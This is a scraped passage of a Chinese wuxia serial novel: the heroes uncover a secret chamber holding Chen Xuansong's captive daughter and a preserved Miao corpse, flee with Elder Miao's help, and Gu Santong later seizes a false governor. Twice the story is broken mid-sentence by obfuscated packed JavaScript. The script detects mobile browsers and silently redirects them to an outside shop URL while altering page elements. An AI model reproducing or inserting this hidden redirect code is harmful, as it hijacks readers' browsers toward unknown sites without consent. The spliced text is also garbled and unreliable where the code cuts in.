面对如此滋补的饭菜汤水,李世晴陷入沉思,他心中的疑团再度浮现,目光转向山洞一角,那里被一方布帘隔开。李世晴轻步靠近,掀开布帘走入。这里似是卧房,摆放着一方矮榻,榻上锦被鼓起。李世晴愈发紧张,伸手轻轻掀开锦被,果然露出一颗乌发蓬乱的脑袋。 “这是什么?” 恰当此时,花白凤来到李世晴身边,她心思单纯,只见一团鼓鼓囊囊的锦被,竟不假思索地一把掀开。可她这一掀,也惊醒了锦被下沉睡之人,霎时间六目相对,皆认出彼此。 “陈大小姐!” 不错,这锦被下之人正是宿苍山庄庄主陈玄松的独生女陈霜衣。只是相比于两天前所见的姿容秀丽,此刻的陈霜衣面无血色、双颊凹陷,似是受了极大的折磨。陈霜衣一见李、花二人,既是惊恐,又是羞惭,一把拉起锦被蒙头遮脸,可她这一拉,反而显露出身下一大片殷红的痕迹。 “啊!这……”同为女子,花白凤见此,不禁失声尖叫。 李世晴则迅速地转身不看,同时向身边的花白凤叮嘱道: “快点她的睡穴,我要给她医治!” 花白凤反应过来,当即出手,点中陈霜衣的昏睡穴。 花白凤扶着陈霜衣睡好,重新盖上锦被。李世晴在一旁坐下,为陈霜衣诊脉,片刻之后,他的脸色越发阴沉。 “你……诊出什么了?这女孩儿怎么了?”花白凤小心翼翼地问道。 李世晴沉默不答,只开口道: “你去把桌上的油灯拿来,再将陈大小姐的衣服解开,我要为她施针。” 花白凤虽不明白,却见李世晴神情凝重,只好照办。李世晴先取出怀中银针,用灯火一一炙烤,又从衣袖上撕下一块布料蒙眼,待到一切准备就绪。李世晴在花白凤的引导下,往陈霜衣的关元、气海、血海等穴位一一施针。花白凤守在一旁,只见李世晴眉头紧锁,额上细汗涔涔,可见紧张。这样施针片刻之后,陈霜衣的气息似乎舒缓不少,李世晴也终于松了一口气。 李世晴扯下蒙眼布,花白凤挽着衣袖为他擦汗。这一次,李世晴不再躲闪,反而温和一笑,道: “谢谢!” “你若要谢,就不该瞒我!你说这事要紧,我就把紧口风,不向外说。还是……你始终信不过我?” 花白凤如此一说,李世晴也不该再瞒。虽说南教此来中原目的未明,可这几日共度患难,李世晴对花白凤已然倾心,也信她心性纯良,不会将此事恶意泄露。只是李世晴此刻心神疲惫,手扶榻沿,本欲开口,却摸到一块异样的突起。 “这是……” “怎么了?” 李世晴顺着榻沿摸索,感觉到一块方形的突起。好奇之下,使力一按,只听一阵轰隆闷响,石壁竟裂开一道缝隙。 原来,这处突起正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325126|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是机关。二人走到裂缝前,齐力一推,裂缝张大,石壁化为石门,显露出一间密室。 这间密室并不算大,内部也没有什么摆设,真要说的话,也只有置于中央的一副棺材。 密室幽暗,二人举着油灯,只见棺材在微弱的光线映照下,投下长长的阴影,诡秘异常。李、花二人虽然武功高强,面对如此奇诡的场面,却也难免心中发怵。可此时,好奇压倒了恐惧,二人对视一眼,一同将手按在棺盖上,稍稍用力,“吱呀”一声,棺盖移开,顿时传出一股干枯腐烂的药味。二人举起油灯一照,一瞬间,惊得几乎心跳停止。 棺中躺着一名少女,年龄似是十八九岁,双目紧闭,苍白的面容呈现着一种诡异的、不可名状的美艳,而最为奇特的是,这名少女竟是苗家打扮。 李世晴虽未去过南疆,但凭借广阅卷宗古籍的记忆,一眼认出棺中女子的苗族服饰,心下大惊,看向花白凤,却见花白凤同样一脸不可置信,望着棺中女子的面容,失神喊道: “苗嬷嬷……” “怎么,你认识她?” 李世晴的声音将花白凤唤回神来,花白凤举着油灯靠近,仔细端详,片刻之后摇了摇头。 “不是,她不是我所认识的那个人,至少……那个人不是这么年轻。而且……”说着,花白凤往棺中少女的鼻翼探了探,“那个人还活着!” “那你……” “是因为太像了!”花白凤凝望棺中少女的面容,“她们的面容几乎一模一样,只是这个人年轻了些,几乎就是年轻的她……” 花白凤陷入沉思,李世晴亦上前查探。果然,李世晴一探发现,棺中少女呼吸全无,且周身冰冷,四肢僵硬,再看棺中散布的药材香料,可以推想,这名少女去世已久,只是依靠药材香料保存尸身。 此处山洞位于西山山腹,宿苍山庄坐落于西山之上,由此可以肯定,这里是陈玄松的密室。可他为何将自己的女儿囚禁于此?这苗家女尸又是怎么回事? 李世晴正自思忖,却见花白凤忽然开始在女尸身上摸索,最终从女尸衣襟里摸出一方白绸布帕。 “这是什么?” 李世晴开口询问,却见花白凤神情凝重,沉默地将布帕收入怀中。李世晴正准备再度开口,却忽听得一阵异响,连忙吹灭油灯,合上密室石门。 二人躲在门后,透过一丝缝隙向外窥看。只见门外一道玄色身影飘过,李世晴倾耳细听,发觉来人气息沉稳浑厚,可见是一流高手。来人站在矮榻前,背对而立,似乎抬手抚摸陈霜衣的额头。就在这一瞬,李世晴顿感不妙: “坏了!” 李世晴突然想起刚才他为陈霜衣针灸,撕下衣袖充作蒙眼,施针之后,李世晴因为心神疲惫,竟顺手就将蒙眼布放在榻上…… 只在一瞬之间,密室石门被大力撞开,李世晴迅速反应,一把推开花白凤,生生接下迎面一掌。 “世晴哥哥!” “快走!” 形势如此,花白凤当机立断,奔出石室。来人眼见花白凤逃离,心中一急,稍有分神,李世晴把握良机,出手直指对手肩上“云门穴”。 来人下意识后撤闪躲,却不料李世晴此乃虚招,趁对手后撤半步之机,当即收招,身形一闪,蹿出石室。 岂料李世晴刚出石室,又觉背后劲风将至,来人一记擒拿手抓来。李世晴听风辨位,肩头一缩,花白凤守在门口,从旁一掌拍出,来人被迫举臂格挡,李世晴旋即回身应战。三人缠斗,连拆数招,来人又惊又急,一招“双龙出海”左右分击,李、花各自招架,只听一声闷响,三人连退数步,这才稳定身形。 此时,借山洞灯火照亮,李、花认出来人,果然是宿苍山庄庄主陈玄松。 “无痕公子!”陈玄松大惊失色,“你……你竟还活着!” 昨夜,李世晴、花白凤双双坠落悬崖之后,陈玄松当即派遣弟子下山搜寻,生要见人,死要见尸。这些人在崖底苦苦搜索,至今毫无消息,陈玄松已大感不妙。可当时李世晴身中西域冰蚕,陈玄松料想他难逃一死,却无论如何也猜想不到,李世晴此刻非但活着,竟还能潜入他的密室。 李世晴见陈玄松如此惊讶,冷笑道: “陈老庄主如此惊怕,是因为只要我还活着,这辱人清白的淫贼之名就无法在我身上坐实,对吗?毕竟,只有死人才不会反驳。” 此话一出,陈玄松脸色更加难看。陈玄松想起,女儿身上的锦被似有被掀开过的痕迹,恶狠狠地问道: “你做了什么?” “在下自小跟随先师修习医术,自然是治病救人。反倒是陈老庄主,你对自己的女儿做了什么?” 这一下,陈玄松被问得哑口无言。僵持片刻,忽见陈玄松身体一松,对着李世晴鞠躬行礼。 “多谢公子出手救治之恩!” 陈玄松此番态度,令李世晴始料未及。只见陈玄松继续沉声说道: “公子既已替小女诊脉,应该明白……我这实乃无奈之举……” “你这是咎由自取,何必怨天尤人?” 李世晴言语愤恨,可难免心软,语气之中不禁带有一丝怜悯。 陈玄松听闻此言,心中悲痛,又无比惭愧,颤声道: “是……公子……教训的是……” 陈玄松说着,眼看要双膝跪下。李世晴不忍,正要上前相扶。却不料,陈玄松忽地抖动手腕,一道寒光从袖间射出。 “世晴哥哥,小心……” 咫尺之间,瞬息之变,待到反应过来,那道寒光早已没入李世晴口中,花白凤吓得赶紧去扶。陈玄松自以为得手,得意地哈哈大笑。可片刻之后,他的笑容僵硬凝固…… 只见李世晴缓缓起身,当着陈玄松惊讶的目光,取下齿间紧咬的钢钉。 “庄主就是这样谢我的?” 李世晴语气之冰冷,已再无一丝容情。事已至此,陈玄松彻底撕下虚伪的面具,狠狠地攻向二人。 只见陈玄松一招“力劈华山”,迎头拍下,李、花二人左右闪躲,旋即夹击。陈玄松同时应战二人,照理落入下风,实则不然。 若以往而言,李世晴与陈玄松修为不相上下,花白凤亦有一战之力。只可惜经历昨夜一劫,花白凤大耗真气为李世晴解毒,此刻功力已不足往日五成,而李世晴毒伤初愈,加之体内异样真气难以化解,每每运功,只觉丹田如烈火灼烧,拳掌威力大为减弱。陈玄松亦有察觉,于是加紧攻势,拳风猎猎,掌沉如山。李、花二人难以招架,尤其是花白凤,她如今功力不及往常,加之年纪尚轻,应战从容更是不如年岁远长于她的陈玄松。 花白凤只见陈玄松铁掌迎面劈下,不假思索地抬手硬接,岂料陈玄松忽地收掌变招,向她颈间劈去。花白凤躲闪不及,李世晴见状,舍身上前相助,却不知这正中陈玄松下怀。 陈玄松料定花白凤遇险,李世晴必会出手相助,故而对花白凤紧攻猛打,只待李世晴着急慌乱,忽地身形回闪,并指疾点李世晴胸前死穴。 陈玄松已动杀心,可李世晴并非泛泛之辈,他临机应变,回势防御,一记柔掌化解杀招。陈玄松掌锋走偏,顺势变掌为拳,大力擂下,李世晴被迫抵挡,可他内力不济,掌力远远不敌,顿觉胸口如受雷震,不由得眼前一黑,后退半步。 正是这一瞬间的破绽,陈玄松已一把掐住李世晴的脖颈。 眼下,陈玄松只需稍加施力,即可拧断李世晴的颈骨。岂料就在此时,他忽地听见背后一声怒喝: “陈玄松,你看!” 陈玄松本能回头望去,只见花白凤站在矮榻前,对着昏睡的陈霜衣扬掌劈下。 花白凤眼见李世晴落入陈玄松手中,命悬一线,吓得手足冰冷,可她深知以如今功力,根本不足救人?于是,她急中生智,转而攻向毫无自保之力的陈霜衣。 陈玄松手掐李世晴脖颈,本可将他一举杀死,可他眼见花白凤手掌对着女儿的头顶劈下,在那一瞬间,身为父亲的本能终究胜了。陈玄松丢下李世晴,直奔女儿而去。 陈玄松飞身扑来,花白凤本就无意杀戮,趁机身形一缩一闪,转而向李世晴奔去。眼下虽解一时之危,可李、花二人内力不济乃事实,陈玄松救下女儿,已无后顾之忧,正欲再度攻击,却见花白凤忽从袖中洒出一把药粉。 昨夜庄内大战之时,花白凤曾用药粉退敌,宿苍山庄弟子凡中药粉者,皆内力暂失,手足瘫软。陈玄松自然小心防范,见药粉撒来,掌风一扫,击散粉雾。可等粉雾散去,李、花二人早已逃出密室。 花白凤扶着李世晴,沿山洞密道一路奔逃,所幸李世晴虽真气受阻,脚力尚在,且密道沿途并无机关岔路。不到片刻,二人已见前方光明。 二人逃出山洞,此刻已然入夜,四周山林漆黑静谧,花白凤四下察看,发现他们正在西山半山腰处。二人无暇休整,山洞之中传来奔跑声,想是陈玄松追来。二人慌忙向山下奔逃,遥遥可见湖边一艘渔船,花白凤大喜过望,正欲飞身登船,却不料李世晴一声惊呼: “小心!” 李世晴话音未落,黑暗之中一支利箭袭来,擦着花白凤的鼻尖飞过。紧接着,亮起数十支火把,聚拢而来,将二人包围。原来,昨夜李世晴、花白凤逃走之后,陈玄松广派弟子沿湖搜索警戒。李世晴、花白凤二人受陈玄松追击,慌忙逃下西山,却未发现沿岸埋伏人手,此刻正正落入圈套之中。 此刻,二人已离湖中渔船不过数步之遥,却被数十人团团围住,半步动弹不得,再加上远处陈玄松追来,似乎已再无生路…… 可正当此绝望之时,不知何处而来一阵刚猛掌风,一瞬间将数十支火把扫灭。紧接着,一道紫电如灵蛇腾舞穿梭,霎时间,击开一道生路。李、花二人未及反应,忽觉被人扛起,转瞬间已被扔上渔船。 此时,陈玄松已然赶来,他见李世晴、花白凤似乎被什么人救上渔船,大惊失色,飞身一掌击来。船上之人似乎早有预料,转身接下一掌。陈玄松已动杀心,这一掌运足十成力气,却不想船上之人亦是高手,掌力丝毫不逊色于他。 二掌相击,掌力互拼,旗鼓相当。陈玄松连退几步,而船上之人则以此借力,脚下一瞪,渔船如利箭离弦一般飞快离岸,再有湖中潮水相助,陈玄松只能眼睁睁地看着这一叶渔船隠入茫茫夜色之中。 逃离西山,渔船随水逐流,李世晴、花白凤终于得片刻喘息。月光倾洒船头,勾勒出相救之人的身形,似是一位女子。这女子扯下蒙面黑布,花白凤对于此人身份早有猜测,此刻又见面容,惊喜道: “苗嬷嬷!” 相比于花白凤的惊喜,李世晴在看清这女子面容的一瞬间,不禁吓得屏住呼吸,只因眼前的女子,竟有着和密室棺中女尸一模一样的容貌…… 29.忍痛断情丝 护友坠罗网 黑夜已过,天明将至,经过一夜奔波,李世晴、花白凤乘坐渔舟,跟随那名女子,来到一处小岛。此岛四面迷雾环绕,水流复杂,极是隐秘。三人由浅滩登岛,由那女子引路,穿过薄雾迷障,眼前豁然开朗,只见岛上百花盛开,彩蝶蹁跹,宛若仙境,前方遥遥可见一栋木屋。 “此处名为百花岛,是我南教隐身之所。此岛四周有暗潮迷雾屏障,不必担忧追兵袭来。” 那女子走在前头,自顾自说。李世晴默默听着,不禁心想: “虽说宿苍山庄号称势力遍及太湖,可太湖大小岛屿不尽其数,想来宿苍山庄也无法尽数掌握。只不过南教势力本在滇南,何时在太湖之中安置如此一处隐蔽之所?看来,南教此来中原果然是有备而来。” 想到此处,李世晴不禁心中一紧,悄悄瞥向身旁的花白凤。只见花白凤脸色苍白疲惫,步履摇晃,李世晴赶忙搀扶。花白凤心中一暖,冲他羞怯一笑,宛如朝阳,瞬间将李世晴心中疑虑驱散大半。 也罢,眼下二人皆有损伤,此岛隐秘,暂且修整也不是坏事。 就这样,李世晴、花白凤跟随那名女子来到木屋,各自休整,运功调息。过了大半日,花白凤的功力已恢复如初。唯独李世晴,他体内的异样真气始终无法化解,每每运功,总是引得体内真气相冲,脏腑剧痛。李世晴不明缘由,却也猜到是花白凤用移花接木大法为他疗毒所致。只是这一路奔波,频生变故,始终寻不着机会细问。 在此期间,那名女子为他们准备饭食,前后忙碌。待到李世晴、花白凤二人出关,只见那名女子正在屋外值守。 “苗嬷嬷!” 一见女子,花白凤高兴地扑进她的怀中,如同小女孩儿一般撒娇哭泣,而这女子也宛如慈母,对花白凤抚额宽慰。 “是老奴无能,不能及时找到圣女,害你受苦了!” “不要这样说,是你救了我们!对了,哥哥呢?” “那日大战,教主被古三通所伤,之后一直闭关疗养。可教主心系圣女,嘱托老奴全力寻找圣女。这几日,老奴在太湖周边广布人手。前日,消息来报,有人夜闯宿苍山庄。老奴猜想,这或许与圣女有关,因此,亲自守在宿苍山庄附近。果然,上天眷顾,可以及时救下圣女。” 二人正自聊着,李世晴站在一旁,仔细观察这名女子容貌,只见她的眉眼五官与昨日在陈玄松密室中所见女尸几乎一模一样,若真要说有何不同,就是这名女子发间隐约可见几缕银丝,眼角多出几道细纹,看模样似乎有三、四十岁。李世晴想起昨夜,这名女子出手相救,武功路数与花白凤十分相似,且她与陈玄松对掌,丝毫不输,可见修为之高,加之她与花白凤的相处,虽然言语恭敬,却多了几分长辈的亲切,由此推断,这名女子在南教之中地位必然不低。 “看什么?” 这名女子似乎也察觉到李世晴探查的目光,转头瞪来。 李世晴察觉自己失态,连忙道歉: “是在下失礼,望前辈见谅!不知……” “我来介绍!”花白凤急忙开口,缓和气氛,“他是……” “这位,想必就是玄机老人高徒,春梦了无痕公子吧!” “前辈见笑,在下学艺不精,愧对师父英名!” “公子不必自谦!想当年玄机老人武功之高,纵横天下,且与前任老教主颇有深交,老奴十分仰慕!公子虽然年轻,可这几日来,先是一招击败崆峒掌门,后又破武当两仪剑阵,连战中原武林七派高手还能全身而退,如此战绩,早已名扬江湖,今日得见,乃是老奴荣幸!” 说着,这名女子对着李世晴欠身一礼。 “老奴南教护法长老,苗氏。” “苗长老,晚辈李世晴拜见!” “公子,可是有话要问老身?” 李世晴眼见自己心中所想被猜出,也不再隐瞒,直言道: “在下方才听苗长老所言,这几日南教在太湖周边广布人手,打探消息,在下想问……可有我那随侍女童以及古三通一行人的消息。” “公子放心,那日你与圣女离去之后,宿苍山庄并未抓住任何一人。你那随侍女童倒也机灵,及时逃遁,隐匿在金庭县向东三里的一处集镇。” “那古三通一行人呢?” “前日有消息回报,金庭县向北五里的一处林间破庙,曾探得古少侠一行三人的踪迹。只不过……” “不过什么?” “据手下回报,古少侠于前日夜间只身一人离去,不知所踪。而朱少侠和素心姑娘则于昨日清晨离去,转水路向北去,似是往京城方向。” “京城?” 李世晴疑惑不解。朱无视是皇子,回京本也不奇,可眼下时局如此,李世晴和古三通蒙受冤屈未解,朱无视为何抛下他们,独自返京?又为何要带着古三通的未婚妻?难道……是朱无视已经察觉什么线索,要回京面圣?李世晴想起这几日自己查探所得线索,已对此番变故的背后真相有了大致推测。若是能够将这些线索和推测告知身为皇子的朱无视,由他禀告皇帝,请旨调查,那么李世晴和古三通眼下所蒙受的不白之冤自然可解。想到此处,李世晴一刻也等不了,转身便要离开。 “世晴哥哥,你要走了吗?要去哪里?” 李世晴被花白凤生生叫住,他回头一看,只见花白凤满脸不舍,不禁犹豫。 “公子这是要去找古少侠?还是要去找朱少侠?” “这……” “请问依公子所见,古少侠会去哪里?” 曲长老如此一问,倒真是将李世晴问住。 以目前局势而言,理应将所知线索尽快告诉朱无视。可依曲长老所说,朱无视是于昨日清晨转了水路,向京城而去。即使从现在起,不眠不休,全力追去,非有两三日不能追上。可这段时间,古三通该怎么办? 古三通武功高强,但行事鲁莽。自那日大战分开之后,他们兄弟彼此不知生死下落,李世晴实在担心,若古三通为了找寻他的踪迹,不管不顾闯入宿苍山庄,只怕又要惹下祸端。 花白凤眼见李世晴踌躇不前,下不定主意,急得一跺脚,上前说道: “哎呀,你这样犹犹豫豫能想到什么好办法?不如听我的吧!” “你有什么主意?” “你总想事事周全,可你只有一个人,能分出几个身子?反正朱无视已经离开,你暂且也追不上,好在知道他要去京城,你有什么消息要告诉朱无视,就写作书信,我找人快马加鞭帮你送信就是了!” “这……” “什么这啊那的,你还有更好的办法吗?你若担心书信被人窥看,我就叫苗嬷嬷派亲信去帮你送。” 说着,花白凤转头望向苗长老,眼神充满恳求,可苗长老沉默不答。花白凤见状,不等苗长老开口拒绝,直接上前拽着苗长老的胳膊撒娇央求。 “哎呀,好嬷嬷,你就答应帮这个忙吧!这也不是什么大事,哥哥不会生气的!你就答应吧……” 苗长老被花白凤拽得左摇右晃,好不容易才稳住身子,责怪地瞪了花白凤一眼,可一待开口,满是宠溺。 “圣女这样说了,老奴哪敢拒绝?不过圣女说得对,这的确不是什么为难之事,若公子信得过南教,就交给老奴来办吧!” “如此……就麻烦前辈了!” “不过,老奴也有一个请求,希望圣女答应!” “什么?” 曲长老并未立即回答,反而目光上下打量花白凤。这几日来,花白凤跟随李世晴逃亡奔波,未能好好洗漱休息,弄得灰头土脸,身上衣裳脏污不堪。 “老奴已经准备好了热水和干净衣裳,恳请圣女快去换洗。一个姑娘家,弄得这样狼狈邋遢,可是……” 说着,曲长老特意看向一旁的李世晴,大声道: “可是会叫心上人嫌弃的!” 曲长老话有所指,李世晴、花白凤都听得出来,李世晴顿时羞红了脸,而花白凤也是又羞又急,推开曲长老,娇嗔道: “洗澡就洗澡嘛!瞎说什么呀!” 说着,花白凤看向李世晴,却见李世晴羞得不敢看她,心中又是欢喜又是羞涩,索性一跺脚,转身逃开。 花白凤走后,只剩李世晴和苗长老呆立原地,气氛颇为尴尬。 “公子请随我来!” 曲长老打破沉默,将李世晴引入屋内,指着一方桌椅以及桌上的笔墨纸砚。 “公子请便!” 说罢,曲长老转身退出屋外,还将房门掩上。 李世晴原本对南教心存忌惮,但见苗长老行事坦荡,毫无窥探之意,不禁为自己的狭隘气量所惭愧,而且眼下除了依靠南教传递消息外,再无他法。于是,李世晴不再多想,坐在桌前,研墨书写。 片刻之后,李世晴拿着一封密封书信走出。 “劳烦长老!”李世晴双手捧起密信,语气无比严肃,“此事事关重大,一定要将此信交到朱兄手中。” “这是自然!” 苗长老朗声应答,伸出手来,似要接过密信,却不料忽变方向,一把扣住李世晴的手腕。 李世晴内力虚盈,手腕被苗长老大力掐住,无论如何也挣脱不开。 片刻之后,苗长老神情由疑转惊,最终松开李世晴的手,喃喃道: “难怪……难怪!我探公子脉象迟缓,僵直不畅,似是曾有寒邪滞体。敢问公子,所中何毒?” “西域冰蚕。” “哦!我听闻西域冰蚕乃至阴至寒之毒,公子毒伤初愈,也难怪内力不济。我还奇怪,我们苗人尚武,圣女自幼心高气傲,怎会喜欢一个武功低微之人?” “这……长老莫要说笑!”李世晴红着脸急忙解释。 “你觉得这是可以说笑的事吗?” 曲长老一句话,问得李世晴哑口无言,李世晴承受着苗长老锐利的目光,只感觉如芒刺背,不知该如何是好。 “我是南教护法,也算看着圣女从小长大。”苗长老长叹一声,转而沉声说道,“除了教主,我从未见过她对其他男子如此上心,更别说是一个汉人男子。请问公子,你的寒毒可是由移花接木大法所解?” “是……” “这便对了!公子可知,眼下你体内异变并不是因为毒伤?” “这是何意?” “公子既是玄机老人高足,也不必瞒你。移花接木大法是上乘内功心法,经由南教始主玉龙仙客研习精进,融合秘传毒功而成,因此可解天下百毒,却也十分刚猛霸道。而且,越是上乘功法,修练越是不易。教主和圣女自小修练移花接木大法,十数年内功护体,可抵御百毒,但是公子从未修习南教功法,陡然异种真气入体,虽可解一时之毒,但入体的真气并不会自行消解,反而……” “曲长老不必再说了!” 话至此处,李世晴已然明了。李世晴师从玄机老人,武学渊博,医术精湛,他自然明白,移花接木大法乃旷古绝伦的高深功法,花白凤用移花接木大法为他解毒,虽是出于善意,可这样霸道的真气入体,必然与体内内功相克,以李世晴目前的修为根本无法压制化解这股真气,反而这股真气会不断与他自身内功相冲,最终两败俱伤,轻则,功力尽散,沦为废人,重则,恐有力尽气绝之虞。 苗长老见李世晴面色深沉,闭口不言,心里也不是滋味,于是开口问道: “公子,可有怨恨?” “为何怨恨?”李世晴释然一笑,“我遭人暗算,身中西域冰蚕之毒,与南教无关。那时,我毒入腑脏,必死无疑,全靠白凤出手相救,才得苟延残喘。她肯耗费真气,用先祖秘传功法为我疗毒,如此恩德,李世晴感激不尽,哪有怨恨之理?就算……最终难逃一死,也是我命数如此。” 李世晴语气温平,笑容爽朗,面对生死之危,仍可做到如此释然,这叫苗长老不禁感慨道: “公子气量非凡,老奴着实钦佩!” 说着,苗长老向李世晴俯身一拜。 “唉……说到底真是造化弄人”苗长老叹道,“移花接木大法共有数层境界,玉龙仙客研习精进,达至三层;前任老教主绝世奇才,突破第五层。可每过一层重关都是艰险无比,当年教主幼时修练,没有父亲指导,在突破第四层时,几乎丧命。教主疼爱圣女,不愿让她冒险,更不愿让她担忧,因此只让圣女修习前三层心法,未曾言明其中弊害,只是叮嘱不能将功力轻易外传。本想等圣女年满二十之后,再告知其中缘由,却不料……” “如此说来,那我更没有怨恨的理由了!”李世晴柔声劝道,“正所谓不知者不为过。教主疼爱妹妹,乃人之常情,白凤不知其中缘由,一心救我性命,光是这一份情义,我已无憾!前辈无须过加介怀!” “多谢公子体谅!那请问公子,接下来你有何打算?” “事已至此,尽力即可。我与古兄乃至交好友,只要我还在世上一日,就不能弃他于不顾。” “公子还要回宿苍山庄?” “长老放心!我不会再潜入宿苍山庄,我打算先回金庭县。古兄重情好义,若寻不着我,一定会向宿苍山庄打探,我守在金庭县,万一有何异动,也好及时出手相助。” “那……公子这就要走吗?可有什么话,要老奴转达圣女?” 话至此处,李世晴像是被点醒一般,身子不禁一震。他望向木屋,满眼不舍,但最终还是黯然转身。 “我没有什么话,你什么也不要说,不要告诉她我会去哪里,更不要告诉她我的伤势!” “公子此话何意?” “事已至此,覆水难收,生死有命,与人无怨。既然如此,有些事情能不知道就不知道吧!白凤一心救我,若她知道是她的家传功法害了我,这样的真相对她实在太过残酷!” “公子这样说,想必也明白圣女对你的情意。” 李世晴沉默以对。 “你既然明白,就该知道,你不辞而别,对她也是一种伤害,以她的性情,她会怎么想?” “就算如此……”李世晴一口打断,看似坚决,实则根本不敢回头,“也好过让她为我愧疚自责。她尚有大好年华,日后总会遇见比我更好的男儿。我一个将死之人,何苦累她余生……” 话语至末,李世晴声音越发细微,也不等苗长老开口,便飞奔逃走。李世晴不敢回望,只在心中默默想道: “这样就好……这样就好……既然终要别离,与其一生怀有愧疚,倒不如让她相信自己是个忘恩负心的薄情男子,待她气过、恨过之后,自会相忘于江湖!” 李世晴唯有如此祈祷。 七月三十,距太湖之战已过去近一个月。这段时日以来,宿苍山庄广布人手,四处搜捕古三通、无痕公子下落,一无所获。可就在十日前,不知何处传出流言,无痕公子已被宿苍山庄所擒。消息不知真假,却不胫而走,传遍太湖。如此刻意散播消息,似在请君入瓮。这也不奇怪,无痕公子与古三通乃生死之交,而古三通是武林公敌,还身背抢夺火耗的罪名,中原武林无不欲除之而后快。这一条消息无疑是引古三通上钩。 岂料一连十日,未见古三通半点踪影。这让人不禁感慨,到底人心炎凉,就连一向快意恩仇、敢作敢为的不败顽童古三通,面对宿苍山庄和中原七大门派的严阵以待,终于被吓得退缩。所谓至交,一旦面对真正的生死险境,便只剩下一句空谈吗? 当然不是!至少李世晴相信古三通绝不会如此。正因如此,他才要继续守在这里。 这日正午,西山码头上人头拥挤。放眼望去,只见码头中央约有百号人,分列两侧护卫,这些人清一色手握刀剑,身姿威武,可看衣裳制式又不似官兵,倒像江湖中人。能在太湖西山聚集如此势力,唯有宿苍山庄,而能够惊动宿苍山庄如此阵仗相迎,想来只有朝廷势力。 如此阵仗,自然吸引周遭百姓围观,将码头围得水泄不通。百姓们一面伸长脖子张望热闹,一面低声交谈。 “多少年了,没见过这般大阵仗,莫不是皇帝要来?” “听说是新上任的南直巡抚叶大人亲临宿苍山庄,这地方大官来了,可不得这般架势相迎。” “南直巡抚来此作甚?” “还能为什么?不就是……陈大小姐的事……” “虽说是未来的儿媳妇,可一朵鲜花让人采了去就是采了去。事到如今,来了又有何用?” “那定是收到消息,宿苍山庄抓住了采花贼。虽说未过门,可闹出这样的事,巡抚大人也跟着丢脸,自然要来好好教训一番。” “那也不必这般阵仗,原本就是一桩丑事,这么一闹,生怕旁人不知道似的。” 百姓们你一言、我一语地嬉笑调侃。说到底,市井传闻,只当茶余饭后的谈资,无人在意真假,也不在意会给别人造成何种伤害,人心冷漠,不过如是。想到此处,一名年轻人不由得唉声长叹。 这名年轻人混在人群之中,面色苍白、衣衫褴褛,毫不起眼,没有人会猜到他竟是曾经丰神如玉、气韵若仙的春梦了无痕公子。 李世晴远远观察,只见此刻烈日当空,宿苍山庄庄主陈玄松身着华服,正襟而立,纵然热得满头大汗,也不敢有丝毫懈怠。陈玄松年过六十,且是一派之主,在武林中德高望重,可此刻,面对朝廷势力如此卑微。不,或许正因是一派之主,身负多年基业,周旋于朝堂江湖多方势力之间,更加不得不谨小慎微,如履薄冰。想到此处,李世晴又是一声叹息。 就在此时,忽闻三声礼炮,一艘红帆高船驶入码头。陈玄松见状,赶忙整理衣衫,上前相迎: “巡抚大人贵驾亲临,宿苍山庄陈玄松拜迎!” 伴随着话音落下,陈玄松对着船首深深一拜,两侧弟子亦是一齐单膝跪拜。紧接着,船舱木门打开,一位高冠儒士缓缓走出。 百姓们远远观望,只见此人虽一身素衣,未着官服,举手投足却气度非凡,且得陈玄松如此礼敬,一定就是那位南直巡抚。 可就在一瞬间,没人能够看清从何处而来,只见一道白影忽然从天而降,落在甲板上,转瞬从后掐住南直巡抚的脖子。 突生变故,众人见此骇然,船上护卫的骑兵纷纷拔刀围上,陈玄松认出袭击之人,一声怒喝: “古三通!” 即使深陷四面包围,古三通仍旧临危不惧,推着南直巡抚走上船首,高声道: “如果不想这位大官死在你的地盘,就把无痕公子放了!” 古三通为人重情好义,这近一个月来,他陆续听到消息。先是谣传无痕公子侮辱了宿苍山庄陈大小姐,后又有消息说无痕公子被宿苍山庄所擒。古三通当然不相信李世晴会行此卑劣之事,也知道以李世晴的武功机智不会轻易被擒。可事无绝对,哪怕只有万一的可能,他也无法置好友于不顾。 可古三通也不是傻子,如今中原武林对他恨之入骨,宿苍山庄大肆宣扬擒住无痕公子,显然意在引君入瓮。古三通如何鲁莽,也不会毫无计划地自投罗网。因此,他一直在等待机会,直到昨日他听说新上任的南直巡抚要亲临宿苍山庄。 古三通读书不多,但他听街头巷尾皆在传言,猜想这位南直巡抚应该是个大官。既是大官,宿苍山庄必然不敢让他在自己地盘上出事。于是,古三通决定冒险一赌,劫持南直巡抚为人质,逼迫宿苍山庄放人。 却不料,陈玄松此刻非但没有丝毫惊慌,反而冷笑一声。 古三通正自惊疑,忽感擒住南直巡抚的右手猛地一麻,还未回过神来,却见南直巡抚竟挣脱束缚,回身对着古三通的胸口一拳捶来。 这一切发生得太过突然,二人近在咫尺,古三通根本躲闪不及。好在他内力浑厚,已是当世一绝,急调真气回护胸口。如此一来,对手只感一拳如同打在铜墙铁壁之上,只是勉强将古三通震退半步。 古三通忽遭偷袭,心中错愕。他见眼前之人一改原先儒雅之气,面露凶相,惊讶道:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329995|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你不是那个巡抚!” 